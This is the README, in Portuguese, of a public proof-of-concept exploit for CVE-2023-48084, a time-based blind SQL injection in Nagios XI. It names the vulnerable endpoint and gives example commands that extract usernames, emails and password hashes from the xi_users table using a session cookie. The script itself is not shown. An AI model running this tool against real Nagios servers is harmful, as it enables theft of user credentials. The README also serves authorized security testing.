PoC em Python que explora SQLi cega baseada em tempo no Nagios XI para extrair conteúdos de banco de dados, com extração multithread por busca binária e seleção de esquema/tabela/coluna via CLI.
Repositório: MettHK/CVE-2023-48084-Revised
Versão atualizada de Hamibubu/CVE-2023-48084 com multithreading, extração por busca binária e flags de CLI para seleção de banco de dados / tabela / coluna.
Não é o repositório original. Este é um PoC derivado/melhorado. O crédito pelo trabalho original vai para Hamibubu.
Apenas para testes de segurança autorizados e uso educacional. Não utilize isto contra sistemas que você não possui ou para os quais não tem permissão explícita para testar. Os autores e contribuidores não são responsáveis pelo uso indevido.
CVE-2023-48084: Nagios XI anterior à versão 5.11.3 contém uma vulnerabilidade de injeção de SQL por meio da ferramenta de modificação em massa.
Este PoC explora uma injeção SQL cega baseada em tempo em:
/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SQL)
Você precisa de um cookie de sessão válido que não seja de administrador (nagiosxi) ou de um .
| Área | O que mudou |
|---|---|
| Extração | Busca binária para comprimento de string e caracteres ASCII (muito menos requisições) |
| Desempenho | Extração de caracteres com multithreading (-w / --workers) |
| CLI | -d / --database — pular descoberta de schema |
| CLI | -t / --table — pular descoberta de tabela (requer -d) |
| CLI | -C / --columns — colunas separadas por vírgula, pular descoberta de colunas (requer -t) |
| Temporização | --delay, --threshold, --max-length configuráveis |
| Robustez | Sessões HTTP por thread; pwntools opcional (barras de progresso) com fallback simples |
| Documentação | Crédito/ link para o original; sem hostnames de laboratório ou artefatos de CTF nos exemplos |
requests (obrigatório)pwntools (opcional; saída de progresso mais agradável)git clone https://github.com/MettHK/CVE-2023-48084-Revised.git
cd CVE-2023-48084-Revised
pip install -r requirements.txt
# Interativo (descobrir schemas → tabelas → colunas)
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -c '<cookie>'
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -a '<api_token>'
# Caminho rápido: banco de dados + tabela + colunas conhecidos
python3 CVE-2023-48084.py \
-u https://target.example/nagiosxi \
-c '<cookie>' \
-d nagiosxi \
-t xi_users \
-C username,email,password \
-w 15 \
--delay 1.2
Eu não recomendo usar mais de 2 workers, pois isso pode retornar resultados incorretos
| Flag | Descrição |
|---|---|
-u / --url | URL base (ex.: https://target.example/nagiosxi) |
-c / --cookie | Valor do cookie de sessão nagiosxi |
-a / --apiKey | Token de API (não usar junto com -c) |
-d / --database | Nome do schema/banco de dados (pular enumeração de schema) |
-t / --table | Nome da tabela (pular enumeração de tabela; requer -d) |
-C / --columns | Colunas separadas por vírgula (pular enumeração de colunas; requer -t) |
-w / --workers | Threads paralelas (padrão: 10) |
--delay | Segundos de SLEEP no ramo verdadeiro (padrão: 1.5) |
--threshold | Tempo mínimo de resposta para contar como acerto (padrão: delay * 0.8) |
--max-length | Limite superior para a busca binária de comprimento (padrão: 2048) |
--delay (ex.: 2) ou diminua -w (ex.: 5).-w 15–20).-d / -t / -C quando você já conhece o schema do alvo para evitar descoberta demorada.